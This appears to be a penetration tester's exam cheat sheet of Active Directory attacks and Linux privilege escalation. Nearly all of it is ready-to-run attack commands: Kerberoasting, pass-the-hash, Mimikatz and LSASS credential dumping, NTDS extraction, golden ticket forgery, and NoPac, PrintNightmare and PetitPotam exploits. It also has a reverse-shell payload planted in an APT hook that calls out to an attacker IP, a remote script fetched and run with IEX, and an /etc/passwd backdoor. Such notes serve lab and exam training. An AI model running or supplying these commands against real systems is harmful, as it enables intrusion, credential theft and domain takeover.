CME spray with usernames as passwords too:
crackmapexec smb <ip> -u users.txt -p users.txt --continue-on-success # user = pass is common
Kerberoasting — Full Reference
Kirbi (ticket file) → crack workflow:
python2.7 kirbi2john.py sqldev.kirbi # extract hash
sed 's/\$krb5tgs\$\(.*\):\(.*\)/\$krb5tgs\$23\$\*\1\*\$\2/' crack_file > sqldev_tgs_hashcat
hashcat -m 13100 sqldev_tgs_hashcat rockyou.txt
Create a custom rule to append "1" to rockyou for service accounts:
echo '$1' > kerb1.rule
sudo hashcat -m 13100 hash rockyou.txt -r kerb1.rule --force
Windows (native, no Rubeus):
setspn.exe -T <domain> -Q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
Mimikatz base64 export method:
mimikatz # base64 /out:true
kerberos::list /export
# then on Linux:
cat encoded_file | base64 -d > ticket.kirbi
python2.7 kirbi2john.py ticket.kirbi
ASREPRoasting — Full Reference
impacket-GetNPUsers -dc-ip <dc-ip> -request -outputfile hashes.asreproast <domain>/<user> # authed
hashcat -m 18200 hashes.asreproast rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Find no-preauth users:
Get-DomainUser -PreauthNotRequired | select samaccountname,userprincipalname
.\Rubeus.exe asreproast /nowrap /format:hashcat # as authenticated user, no extra creds needed
Targeted AS-REP Roasting (GenericWrite/GenericAll on a user account):
# disable pre-auth on the target user, roast it, then restore
Set-ADAccountControl -Identity <target_user> -DoesNotRequirePreAuth $true
# run GetNPUsers / Rubeus, get hash, crack
# then restore:
Set-ADAccountControl -Identity <target_user> -DoesNotRequirePreAuth $false
ACL Attacks — Full Reference
# Identify your SID, then find what objects you have rights over
$sid = Convert-NameToSid <username>
Get-DomainObjectACL -ResolveGUIDs -Identity * | ?{$_.SecurityIdentifier -eq $sid}
# ACL across all users (foreach loop)
Get-ADUser -Filter * | Select-Object -ExpandProperty SamAccountName > ad_users.txt
foreach($line in [System.IO.File]::ReadLines("C:\Users\user\Desktop\ad_users.txt")) {
get-acl "AD:\$(Get-ADUser $line)" | Select-Object Path -ExpandProperty Access |
Where-Object {$_.IdentityReference -match 'DOMAIN\\attacker'}
}
# If you have ForceChangePassword / GenericAll on a user
$p = ConvertTo-SecureString 'Pwn3d_by_ACLs!' -AsPlainText -Force
Set-DomainUserPassword -Identity <target> -AccountPassword $p -Credential $Cred -Verbose
# If you have GenericWrite on a group -> add yourself
Add-DomainGroupMember -Identity 'Help Desk Level 1' -Members '<attacker>' -Credential $Cred -Verbose
Remove-DomainGroupMember -Identity 'Help Desk Level 1' -Members '<attacker>' -Credential $Cred -Verbose # clean up
# Targeted Kerberoast (GenericWrite/GenericAll -> set fake SPN, roast, remove)
Set-DomainObject -Credential $Cred -Identity <target> -SET @{serviceprincipalname='notahacker/LEGIT'} -Verbose
# → roast the user → crack →
Set-DomainObject -Credential $Cred -Identity <target> -Clear serviceprincipalname -Verbose # clean up
# GPO write abuse (SharpGPOAbuse)
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount <user> --GPOName "<Policy-Name>"
gpupdate /force
net localgroup administrators # verify
Convert SDDL strings to readable: ConvertFrom-SddlString
Lateral Movement — Full Reference
Pass-the-Hash
smbclient \\\\<ip>\\share -U Administrator --pw-nt-hash <ntlm>
impacket-psexec -hashes 00000000000000000000000000000000:<NTLM> administrator@<ip>
impacket-wmiexec -hashes 00000000000000000000000000000000:<NTLM> administrator@<ip>
crackmapexec smb <ip> -u Administrator -H <NTLM>
evil-winrm -i <ip> -u Administrator -H "<NTLM_hash>"
xfreerdp /v:<ip> /u:Administrator /pth:<NTLM>
WMI (CIM) lateral movement
$username = "<user>"; $password = "<pass>"
$secureString = ConvertTo-SecureString $password -AsPlaintext -Force
$credential = New-Object System.Management.Automation.PSCredential $username, $secureString
$options = New-CimSessionOption -Protocol DCOM
$session = New-CimSession -ComputerName <target-ip> -Credential $credential -SessionOption $options
Invoke-CimMethod -CimSession $session -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine="powershell -nop -w hidden -e <base64>"}
winrs / WinRM lateral movement
winrs -r:<host> -u:<user> -p:<pass> "cmd /c hostname & whoami"
winrs -r:<host> -u:<user> -p:<pass> "powershell -nop -w hidden -e <base64>"
$cred = New-Object System.Management.Automation.PSCredential("<domain>\<user>", $secpass)
New-PSSession -ComputerName <target> -Credential $cred
Enter-PSSession 1
DCOM lateral movement (MMC)
$dcom = [System.Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application.1","<target-ip>"))
$dcom.Document.ActiveView.ExecuteShellCommand("cmd",$null,"/c powershell -nop -w hidden -e <base64>","7")
Overpass-the-Hash (NTLM -> Kerberos TGT)
mimikatz # sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<hash> /run:powershell
In the new PS: run net use \\<host> to generate TGT, then klist to verify. Now use PsExec/PSRemoting from this session.
Pass-the-Ticket (steal existing TGS)
mimikatz # sekurlsa::tickets /export
dir *.kirbi
mimikatz # kerberos::ptt [0;12bd0]-0-0-40810000-user@cifs-host.kirbi
klist # verify, then access the resource
PsExec
.\PsExec64.exe -i \\<host> -u <domain>\<user> -p <pass> cmd
.\PsExec64.exe -accepteula -s -i cmd.exe # escalate to SYSTEM locally
Interactive shells
impacket-psexec <domain>/<user>:<pass>@<ip>
impacket-wmiexec -hashes <hash> <domain>/administrator@<ip>
evil-winrm -i <ip> -u <user> -p <pass>
xfreerdp /v:IP /u:USER /p:PASS +clipboard /dynamic-resolution
xfreerdp /v:IP /u:USER /p:PASS /drive:/usr/share/windows-resources,share
atexec.py / smbexec.py / dcomexec.py <domain>/<user>:<pass>@<ip>
Silver Tickets
Forge a service ticket for ANY permission. Need: SPN NTLM hash + Domain SID + Target SPN. No DC contact required.
mimikatz # kerberos::golden /sid:<DOMAIN_SID> /domain:<domain> /ptt /target:<host.domain> /service:http /rc4:<SPN_NTLM_hash> /user:<any_user>
# /ptt injects immediately; check with klist
# /service can be: http, cifs, host, rpcss, wsman, ldap
Get domain SID: whoami /user (drop the RID suffix = -<number> at end).
After forging: iwr -UseDefaultCredentials http://<target> or ls \\<host>\<share> should succeed.
Mimikatz — Full Reference
# standard dump sequence
privilege::debug
token::elevate
log # log output to mimikatz.log
sekurlsa::logonpasswords # cleartext + hashes from LSASS
sekurlsa::tickets /export # export all tickets to disk
lsadump::sam # local SAM hashes
lsadump::dcsync /user:<domain>\administrator # DCSync (needs replication rights)
lsadump::lsa /inject # then: type mimikatz.log | findstr /i user
kerberos::list /export
One-liners:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"
mimikatz.exe "privilege::debug" "token::elevate" "sekurlsa::logonPasswords full" "exit"
mimikatz.exe "privilege::debug" "token::elevate" "lsadump::sam" "exit"
Against saved hives:
reg save hklm\sam sam.hiv
reg save hklm\security security.hiv
reg save hklm\system system.hiv
mimikatz64.exe "privilege::debug" "token::elevate" "lsadump::sam sam.hiv security.hiv system.hiv" "exit"
Invoke-Mimikatz (PowerShell, AV-evading) — cd C:\ first:
Invoke-Mimikatz -Command '"privilege::debug" "token::elevate" "sekurlsa::logonpasswords" "lsadump::sam" "exit"' > hashes.txt
LSASS dump without mimikatz on disk:
procdump.exe -accepteula -ma lsass.exe lsass.dmp
rundll32 C:\windows\system32\comsvcs.dll, MiniDump <LSASS_PID> C:\lsass.dmp full
pypykatz lsa minidump /path/to/lsass.dmp # parse offline on Kali
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonpasswords
Overpass-the-Hash (use NTLM to get Kerberos TGT):
sekurlsa::pth /user:<user> /domain:<domain> /ntlm:<NTLM_hash> /run:powershell
Golden ticket:
kerberos::golden /user:hacker /domain:CHILD.DOMAIN /sid:<DOMAIN_SID> /krbtgt:<KRBTGT_HASH> /sids:<PARENT_EA_SID> /ptt
Silver ticket (forge a service ticket):
kerberos::golden /sid:<DOMAIN_SID> /domain:<domain> /ptt /target:<host.domain> /service:http /rc4:<SPN_NTLM_hash> /user:jeffadmin
Get domain SID: whoami /user (drop the RID suffix).
BloodHound & SharpHound Collection
.\SharpHound.exe -c All -d <domain> # everything
.\SharpHound.exe -c All,GPOLocalGroup -d <domain> # includes GPO-derived local groups (better than default)
.\SharpHound.exe -c DCOnly -d <domain> # LDAP only, fast, no host SMB noise
# Stealth options:
.\SharpHound.exe -c All --Throttle 1000 --Jitter 20 --Stealth # slow + jitter; LocalGroup → GPOLocalGroup
# Loop for session coverage over time:
.\SharpHound.exe -c Session --Loop --LoopDuration 03:00:00 --LoopInterval 00:05:00
# Targeted:
.\SharpHound.exe --LDAPFilter "(adminCount=1)" --SecureLDAP
Session vs LoggedOn: LoggedOn is more accurate but requires Admin. Session requires Admin on Windows 10 1607+ / Server 2016+. Re-run both after each new account compromise.
Custom BloodHound queries: https://github.com/hausec/Bloodhound-Custom-Queries
SAM & NTDS Dumping
Local SAM (admin required)
reg save hklm\sam sam.hiv
reg save hklm\security security.hiv
reg save hklm\system system.hiv
impacket-secretsdump -sam SAM -system SYSTEM local # offline, after downloading hives
NTDS.dit via shadow copy (on DC)
vssadmin CREATE SHADOW /For=C:
cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy2\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
impacket-secretsdump -ntds ntds.dit -system SYSTEM -hashes lmhash:nthash LOCAL -outputfile ntlm-extract
secretsdump (remote DCSync + local)
impacket-secretsdump -just-dc-user <user> <domain>/<admin>:"<pass>"@<dc-ip>
impacket-secretsdump -outputfile loot -just-dc <domain>/<user>@<dc-ip> -use-vss
Advanced Exploits (NoPac / PrintNightmare / PetitPotam / Zerologon)
NoPac / sAMAccountName spoofing
sudo python3 scanner.py <domain>/<user>:<pass> -dc-ip <dc-ip> -use-ldap # check vulnerable
sudo python3 noPac.py <domain>/<user>:<pass> -dc-ip <dc-ip> -dc-host <DC-HOSTNAME> -shell --impersonate administrator -use-ldap
sudo python3 noPac.py <domain>/<user>:<pass> -dc-ip <dc-ip> -dc-host <DC-HOSTNAME> --impersonate administrator -use-ldap -dump -just-dc-user <domain>/administrator
PrintNightmare (CVE-2021-1675)
rpcdump.py @<dc-ip> | egrep 'MS-RPRN|MS-PAR' # check exposed
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<ip> LPORT=8080 -f dll > backupscript.dll
sudo smbserver.py -smb2support CompData /path/to/
sudo python3 CVE-2021-1675.py <domain>/<user>:<pass>@<dc-ip> '\\<attacker-ip>\CompData\backupscript.dll'
PetitPotam (coerce DC auth → NTLM relay → AD CS → cert → NTLM hash)
sudo ntlmrelayx.py -debug -smb2support --target http://<CA_HOST>/certsrv/certfnsh.asp --adcs --template DomainController
python3 PetitPotam.py <attacker-ip> <dc-ip>
python3 /opt/PKINITtools/gettgtpkinit.py <domain>/<DC_MACHINE>$ -pfx-base64 <base64_cert> dc01.ccache
export KRB5CCNAME=dc01.ccache
secretsdump.py -just-dc-user <domain>/administrator -k -no-pass "<DC_MACHINE>$"@<dc-fqdn>
Zerologon check
nmap --script smb-vuln-cve-2020-1472 -p 445 <dc-ip>
Shadow Copies (DA-level persistence / NTDS extraction)
vshadow.exe -nw -p C: :: run on DC as DA
Trust Relationships — Child to Parent
# 1. Get child krbtgt NTLM + SIDs
secretsdump.py <child_domain>/<user>@<child_dc> -just-dc-user CHILD/krbtgt
lookupsid.py <child_domain>/<user>@<child_dc> | grep "Domain SID"
lookupsid.py <child_domain>/<user>@<dc_ip> | grep -B12 "Enterprise Admins" # get EA RID
# 2. Forge golden ticket with /sids= pointing at parent Enterprise Admins
ticketer.py -nthash <krbtgt_hash> -domain CHILD.DOMAIN -domain-sid S-1-5-21-... -extra-sid S-1-5-21-...-519 hacker
export KRB5CCNAME=hacker.ccache
psexec.py CHILD.DOMAIN/hacker@<parent_dc_ip> -k -no-pass
# Automated:
raiseChild.py -target-exec <parent_dc_ip> CHILD.DOMAIN/<user>
Mimikatz golden ticket (Windows side):
kerberos::golden /user:hacker /domain:CHILD.DOMAIN /sid:<CHILD_SID> /krbtgt:<hash> /sids:<PARENT_EA_SID> /ptt
Trust Relationships — Cross-Forest
Get-DomainUser -SPN -Domain <foreign_domain> | select SamAccountName # SPNs in other forest
Get-DomainForeignGroupMember -Domain <foreign_domain> # users in foreign groups
.\Rubeus.exe kerberoast /domain:<foreign_domain> /user:<user> /nowrap
Enter-PSSession -ComputerName <host.foreign_domain> -Credential INLANEFREIGHT\administrator
GetUserSPNs.py -request -target-domain <foreign_domain> <local_domain>/<user>
bloodhound-python -d <domain> -dc <dc_fqdn> -c All -u <user> -p <pass>
zip -r bh.zip *.json # then drag zip into BloodHound GUI
Miscellaneous Misconfigurations
adidnsdump -u <domain>\\<user> ldap://<dc-ip> # resolve all DNS records via LDAP
adidnsdump -u <domain>\\<user> ldap://<dc-ip> -r # attempt to resolve unknowns (-r A query)
Get-DomainUser * | Select-Object samaccountname,description # look for passwords in description!
Get-DomainUser -UACFilter PASSWD_NOTREQD | Select-Object samaccountname,useraccountcontrol
Get-SpoolStatus -ComputerName <dc-fqdn> # check for Print Spooler MS-PRN bug
# SYSVOL script hunting
findstr /S /I cpassword \\<domain>\sysvol\<domain>\policies\*.xml
ls \\<dc>\SYSVOL\<domain>\scripts # look for credentials in scripts
lsassy (CME module — LSASS dump without touching disk):
crackmapexec smb <ip> -u <user> -p <pass> -M lsassy
crackmapexec smb <ip> -u <user> -H <hash> --lsa
# note: aad3b435... prefix = empty LM hash; look for the NTLM part after the colon
# $DCC2 hashes cannot be PtH'd; must crack them
AD Recycle Bin (tombstoned objects may contain old passwords):
Get-ADObject -SearchBase "CN=Deleted Objects,DC=<domain>,DC=<tld>" -IncludeDeletedObjects -Filter * | Select-Object Name,LastKnownParent
adPEAS — Automated AD Enumeration
# load (pick any method)
Import-Module .\adPEAS.ps1
IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/61106960/adPEAS/main/adPEAS.ps1')
Invoke-adPEAS # all modules, current user
Invoke-adPEAS -Domain '<domain>' -Outputfile 'C:\temp\adPEAS_output'
Invoke-adPEAS -Domain '<domain>' -Server '<dc-fqdn>' # specify DC
# with creds:
$SecPassword = ConvertTo-SecureString '<pass>' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('<domain>\<user>', $SecPassword)
Invoke-adPEAS -Domain '<domain>' -Cred $Cred
AD Strategy Tips
- Always try local account first (
user), then domain (domain\user) for any service. - Check SMB null / guest BEFORE creating accounts or generating noise:
crackmapexec smb <ip> -u '' -p ''andcrackmapexec smb <ip> -u 'guest' -p ''. - If you can access IPC$, RID brute force gets you usernames:
crackmapexec smb <ip> -u 'guest' -p '' --rid-brute. - Spider Plus results with jq:
cat /tmp/cme_spider_plus/<ip>.json | jq '. | map_values(keys)'. - If you get a domain user hash: try Kerberoasting + ASREPRoasting immediately.
- After compromising ANY new user: re-run BloodHound session/localadmin enumeration — paths change.
- Don't log in as a DA account to workstations — their hash can be captured by any local admin on that box.
- If secretsdump/impacket throws
KRB_AP_ERR_SKEW: sync your clock with the DC (rdateorntpdate). wadcoms.github.io— interactive AD command chooser by technique + auth type.- AD Recycle Bin is a safety net but also an attack vector — deleted objects may retain attribute values including old passwords.
Additional Notes
Capturing NTLM via a malicious icon (SCF / .url) on a writable share
Drop a file whose icon points to \\YOUR_IP\share; when a user browses the share, their box authenticates to you and Responder captures the NetNTLM hash. (Seen on the Access-style boxes.) CME's scuffy/slinky modules automate planting these.
PowerShell spray script
.\Spray-Passwords.ps1 # spray a password across domain users from a Windows foothold
AD Attack Chain — Mind Map
Privilege Escalation — Linux & Windows
Fastest wins first, deepest enumeration last. Run the Tier 0 checks the instant you land a shell.
LINUX PRIVILEGE ESCALATION
LINUX — Tier 0: First 60 Seconds
Run these literally first. sudo -l and id decide your whole approach.
id # interesting groups? (sudo, docker, lxd, disk, adm)
sudo -l # NOPASSWD entries = often instant root -> GTFOBins
whoami; hostname
uname -a; cat /etc/os-release # kernel + distro for later exploit matching
cat /etc/passwd # other users, UID 0 accounts, shells
LINUX — Tier 1: Lowest-Hanging Fruit
Sudo abuse
sudo -l # any binary listed -> check GTFOBins.github.io
sudo -V # version -> CVE-2021-3156 (Baron Samedit) if < 1.9.5p2
# LD_PRELOAD / LD_LIBRARY_PATH if env_keep shows them
Any NOPASSWD binary (vi, less, find, awk, python, nmap, tar...) -> GTFOBins, almost always a one-liner to root.
SUID / SGID binaries
find / -perm -4000 -type f 2>/dev/null # SUID
find / -perm -2000 -type f 2>/dev/null # SGID
find / -perm -u=s -type f 2>/dev/null # alt syntax
Cross-reference each non-standard result against GTFOBins. Inspect custom SUID binaries with strings.
Capabilities
getcap -r / 2>/dev/null
cap_setuid, cap_dac_read_search on python/perl/tar = root (e.g. python3 w/ cap_setuid+ep -> os.setuid(0)).
Dangerous group membership (from id)
- docker -> mount host fs in a container as root
- lxd/lxc -> privileged container -> mount
/ - disk -> debugfs raw read of
/etc/shadow - adm -> read logs (creds)
- sudo/wheel -> you already know
- video, shadow -> situational reads
LINUX — Tier 2: Credentials Lying Around
# History & shell config
cat ~/.bash_history ~/.zsh_history 2>/dev/null
cat /home/*/.bash_history 2>/dev/null
# SSH keys
ls -la ~/.ssh/ /home/*/.ssh/ /root/.ssh/ 2>/dev/null
find / -name "id_rsa" -o -name "id_dsa" -o -name "*.pem" 2>/dev/null
# Readable shadow = instant win
ls -la /etc/shadow; cat /etc/shadow 2>/dev/null
# Grep the filesystem for secrets
grep -riE 'password|passwd|pass=|pwd|secret|api[_-]?key|token' \
/var/www /etc /opt /home /srv 2>/dev/null | grep -v Binary
# App / web configs (huge for OSCP)
find / -name "*.conf" -o -name "*.config" -o -name "*.ini" \
-o -name "*.yml" -o -name "*.yaml" -o -name "*.env" 2>/dev/null
cat /var/www/html/wp-config.php 2>/dev/null # WordPress DB creds
find / -name "*.kdbx" 2>/dev/null # KeePass DBs
cat ~/.git-credentials ~/.netrc 2>/dev/null
DB creds -> reuse for SSH/su. Password reuse is the single most common OSCP Linux pivot.
LINUX — Tier 3: Cron & Scheduled Tasks
cat /etc/crontab
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/ /etc/cron.weekly/
ls -la /var/spool/cron/crontabs/ 2>/dev/null
cat /var/spool/cron/crontabs/* 2>/dev/null
# transfer pspy and run it -> catches root-run scripts on a timer
Look for: root-run scripts you can write, scripts calling binaries by relative path (PATH hijack), wildcards in tar/rsync/chown (wildcard injection).
LINUX — Tier 4: Writable Files & PATH Abuse
find / -writable -type f 2>/dev/null | grep -vE '^/proc|^/sys'
find / -writable -type d 2>/dev/null | grep -vE '^/proc|^/sys'
find / -perm -2 -type f 2>/dev/null
ls -la /etc/passwd /etc/shadow /etc/sudoers /etc/sudoers.d/
Writable /etc/passwd -> append hacker:$(openssl passwd hash):0:0::/root:/bin/bash -> su hacker.
LINUX — Tier 5: Services, Processes, Internal Ports
ps aux --forest # root running editable scripts?
ps aux | grep root
ss -tulpn; netstat -tulpn 2>/dev/null # internal-only services (3306,5432,6379,27017,8080)
Internal-only services bound to 127.0.0.1 -> privesc or lateral. Redis without auth, Postgres COPY ... PROGRAM -> RCE.
LINUX — Tier 6: NFS, Mounts, Filesystems
cat /etc/fstab
mount; cat /proc/mounts
cat /etc/exports 2>/dev/null # NFS shares
showmount -e <target> 2>/dev/null
lsblk # unmounted drives with creds
no_root_squash in /etc/exports -> mount remotely as root, drop a SUID binary, execute locally. Classic OSCP.
LINUX — Tier 7: Automated Tooling
./linpeas.sh # the big one -- run after manual checks
./lse.sh -l1 # linux-smart-enumeration, cleaner output
./linenum.sh
pspy64 # watch processes/cron live without root
LINUX — Tier 8: Kernel & Software Exploits (LAST resort)
uname -r # exact kernel
cat /etc/os-release; lsb_release -a 2>/dev/null
dpkg -l 2>/dev/null | less # Debian package versions
rpm -qa 2>/dev/null # RHEL
Match to: DirtyCOW (old), DirtyPipe (5.8-5.16.11), PwnKit/pkexec (CVE-2021-4034 - nearly universal on older boxes, check early), Baron Samedit (sudo). Kernel exploits can crash the box -- exhaust enumeration first.
Exception: PwnKit (pkexec) and Baron Samedit (sudo) are reliable enough to check in Tier 1:
pkexec --version,sudo -V.
Order that wins: id/sudo -l -> SUID + caps -> GTFOBins anything weird -> creds/keys/configs + reuse -> cron writable scripts -> writable /etc/passwd -> internal services -> NFS no_root_squash -> linpeas/pspy -> kernel last.
LINUX — Shell Stabilization (do this on every reverse shell)
python3 -c 'import pty;pty.spawn("/bin/bash")'
# then: Ctrl+Z
stty raw -echo; fg
# then Enter twice, then:
export TERM=xterm
No python? script /dev/null -c bash or /usr/bin/script -qc /bin/bash /dev/null. A broken shell wastes more time than anything -- fix it first, every time. su/sudo and many SUID exploits silently fail without a real TTY.
LINUX — Odd Scenarios & Gotchas
Find what tools exist
which python python3 perl wget curl nc ncat socat 2>/dev/null
ls /usr/bin /bin | sort
compgen -c | sort -u
Always work in writable dirs
cd /tmp || cd /dev/shm || cd /var/tmp
mount | grep noexec # if /tmp is noexec, use /dev/shm
Sneaky privesc vectors people miss
- PATH hijacking -- root cron/SUID calls a binary by relative name (
tarnot/bin/tar). Prepend a writable dir to PATH, drop a malicioustar. - Wildcard injection -- root script runs
tar czf backup.tar *in a writable dir -> drop files named--checkpoint=1,--checkpoint-action=exec=sh script.sh. - LD_PRELOAD / LD_LIBRARY_PATH --
sudo -lshowsenv_keep+=LD_PRELOAD-> compile a malicious.so-> root. - Writable .so / library hijack -- strace a SUID binary, find a missing/writable library.
- NOPASSWD on a script you can edit --
sudo /opt/backup.shwhere backup.sh is writable. - cap_dac_read_search -- read
/etc/shadowwithout SUID.
Database-as-privesc (very OSCP)
ps aux | grep -E 'mysql|postgres|redis|mongo' # what user does the DB run as?
- MySQL as root + UDF (raptor_udf) -> command exec as root
- Postgres:
COPY ... FROM PROGRAM-> RCE as postgres - Redis (no auth) -> write SSH key to authorized_keys or cron
- Mongo -> creds for reuse
Container tells
cat /proc/1/cgroup # docker/lxc strings = container
ls -la /.dockerenv 2>/dev/null
If containerized: goal may be escape (privileged container, mounted /var/run/docker.sock, host paths) not classic privesc.
Password-reuse checklist (when you crack/find ANY password)
su <each user in /etc/passwd>; SSH as every user ; same password on other boxes ; sudo for current user ; DB logins ; web admin panels
Backups / mail / forgotten spots
find / -name "*.bak" -o -name "*.old" -o -name "*.backup" 2>/dev/null
find / -name "*.tar*" -o -name "*.zip" -o -name "*.gz" 2>/dev/null
ls -la /opt /srv /backups /var/backups 2>/dev/null
ls -la /var/mail/ /var/spool/mail/ 2>/dev/null; cat /var/mail/* 2>/dev/null
Have ready before the exam
GTFOBins bookmarked, revshells.com, linpeas/pspy64/lse.sh pre-downloaded, TTY-upgrade snippet in a notes file.
Meta: 30+ min and nothing? You missed a creds/reuse path or a writable cron, not a kernel exploit. Re-read files you skimmed.
LINUX — Deep Enumeration Reference
System baseline
id; hostname
cat /etc/issue; cat /etc/os-release; uname -a; uname -r
cat /etc/passwd | grep -iE '/bin/sh|/bin/bash' --color=auto # interactive users
file /bin/bash # confirm arch (32 vs 64-bit)
ps aux # all processes
ps aux | grep -i 'root' --color=auto # root-running processes
ifconfig; ip a
route; routel
netstat -anp; ss -anp # -a all, -n no hostname, -p process name
Firewall rules (as a low-priv user)
# need root for iptables directly; try:
cat /etc/iptables # might be readable
iptables-save # dump current rules
# if admin ever ran iptables-restore we can grep for it in shell history
Cron & scheduled jobs
ls -lah /etc/cron*
crontab -l # current user jobs
sudo crontab -l # root jobs (if sudo allowed)
Packages / modules
dpkg -l # Debian/Ubuntu installed packages
rpm -qa # RedHat/CentOS
lsmod # loaded kernel modules
/sbin/modinfo <module> # info on a specific module
Mounts / disks
mount; cat /etc/fstab # auto-mount at boot
lsblk # all disks, find unmounted partitions
SUID / GUID (then hit GTFOBins)
find / -perm -u=s -type f 2>/dev/null | grep -v snap # SUID
find / -perm -g=s -type f 2>/dev/null # GUID
# -rwsr-xr-x → S in owner exec = SUID set (eUID/eGID inherited on exec)
World-writable files
find / -type f -perm -o+w 2>/dev/null
find / -type f -perm -o+w -perm -g+w 2>/dev/null
find / -type f -perm -g+w -group mario 2>/dev/null # group-writable by a specific group
find / -writeable -type d 2>/dev/null # writable directories
Quick writable-spot checklist: /var/tmp, /tmp, /dev/shm, /etc (try touch), /etc/passwd, /var/mail, /var/spool/mail, /var/www, /srv/, /opt/, /var/lib/.
Capabilities
getcap -r / 2>/dev/null # compare results to GTFOBins; python w/ cap_setuid+ep is instant root
Interesting groups
groups # am I in disk, lxd, docker, adm, shadow?
# disk group → debugfs /dev/sda1 → can read /etc/shadow directly
# shadow → cat /etc/shadow → unshadow + john
References: vk9-sec.com/disk-group-privilege-escalation, book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe
LINUX — Specific Techniques
sudo -l (run anything as root)
sudo -l # what can I run as another user?
sudo /bin/bash # if (ALL) NOPASSWD: ALL → instant root
sudo /usr/sbin/service ../../../../bin/dash # path-traversal sudo abuse example
APT pre-invoke (writable /etc/apt/apt.conf.d/)
# if we can write to /etc/apt/apt.conf.d/ this fires on the next apt update
echo 'APT::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.45.243 80 >/tmp/f"};' > /etc/apt/apt.conf.d/pwn
Python library hijack (root runs a .py that imports a module)
# create a file with the same name as the imported module in the script's dir (or earlier in sys.path)
import os
os.system('/bin/bash') # root runs the script, we get a root shell
Reference: Python import search order — same concept as unquoted service paths or DLL hijacking.
pwnkit — CVE-2021-4034 (pkexec)
# works on python2 systems too
wget https://github.com/joeammond/CVE-2021-4034/blob/main/CVE-2021-4034.py
python CVE-2021-4034.py
# also confirmed on Snooky PG (python2-only host)
PySpy / py-spy — watch root processes live
pyspy64 -p <PID> # attach to a running process
# let it run for 5+ min to catch cron/service operations that can lead to privesc
Kernel exploits
uname -a # look for old kernel like 4.4.0-21-generic, check x86 vs x86_64
which gcc; gcc --version # is gcc on box? → may be intended path
# Dirty COW — works on kernels 2.6.22 < 3.9
gcc -pthread dirty.c -o dirty -lcrypt
./dirty # prompts for a new password
# if 32-bit target:
gcc -m32 -o exploit exploit.c
Tip:
cat compile.shfirst to read the author's own instructions before trying to compile. Sometimes you don't need to compile at all — read the exploit and run its steps manually. If compile problems: try XenSpawn (github.com/X0RW3LL/XenSpawn). If something requires/bin/bash, try/bin/shas a fallback.
linux-smart-enumeration (lse.sh)
wget "https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh" -O lse.sh
chmod 700 lse.sh
./lse.sh # or: ./lse.sh -l 1 for more detail
unix-privesc-check
./unix-privesc-check standard > output.txt # fast, fewer false-positives
./unix-privesc-check detailed > output.txt # thorough
Running services / enumeration
systemctl status <service> # enumerate a custom or web service for creds/config
LINUX — Command Bank
Quick enumeration
ps aux | grep root # processes as root
sudo -l # run anything as another user?
ls -la /etc/cron.daily # daily cron
lsblk # unmounted drives
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null # world-writable files
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null # SUID
find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null # SETGID
getcap -r / 2>/dev/null
./pspy64 -pf -i 1000 # watch processes/cron live
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null
tcpdump privesc (sudo)
sudo /usr/sbin/tcpdump -ln -i ens192 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
PATH hijack
echo $PATH
PATH=.:${PATH} # add . to front, then drop a malicious binary
LD_PRELOAD / shared library
ldd /bin/ls # shared objects a binary needs
gcc -fPIC -shared -o /tmp/root.so root.c
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart
readelf -d payroll | grep PATH # check RUNPATH for hijack
LXD/LXC container escape
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine r00t -c security.privileged=true
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
lxc start r00t # host fs mounted at /mnt/root inside
NFS no_root_squash
showmount -e <ip>
mkdir -p /mnt/nfs && mount -t nfs -o vers=3 <ip>:<share> /mnt/nfs -nolock
gcc suid.c -o suid && cp suid /mnt/nfs/ && chmod u+s /mnt/nfs/suid
# then on target: ./suid -> root
Writable /etc/passwd
openssl passwd -1 # generate a hash for a password you choose
echo 'siren:<hash>:0:0:siren:/home/siren:/bin/bash' >> /etc/passwd
su siren
MySQL root no-password
mysql -uroot -p # try root / toor / blank
Cred hunting (Linux)
grep -rnw "PRIVATE KEY" /home/* 2>/dev/null | grep ":1"
grep -rnw "ssh-rsa" /home/* 2>/dev/null | grep ":1"
tail -n5 /home/*/.bash*
cat .mozilla/firefox/*.default-release/logins.json | jq .
python3.9 firefox_decrypt.py
python3 mimipenguin.py
python2.7 lazagne.py all
LINUX — S1REN Methodology
Stabilize, then enumerate capability-first:
python3 -c 'import pty; pty.spawn("/bin/bash")'
export TERM=xterm-256color
# Ctrl+Z
stty raw -echo ; fg ; reset
stty columns 200 rows 200
# capabilities present?
which gcc cc python perl wget curl fetch nc ncat socat
file /bin/bash # arch + compilation capability
uname -a; cat /etc/issue; cat /etc/*-release
sudo -l; ls -lsaht /etc/sudoers
groups <user> # exotic group membership
Then walk the usual spots: /home, /var/www/html, SUID/GUID (find / -perm -u=s/-g=s), pspy, netstat -antup for loopback-only services to forward out, /etc for .conf/.secret, ls -lsaR /home/ for SSH keys, /var/lib /var/db /opt /tmp /var/tmp /dev/shm, /etc/exports for no_root_squash, /etc/fstab, crontab -u root -l + /etc/crontab + /etc/cron.*, find / -user <name>, /var/mail/.
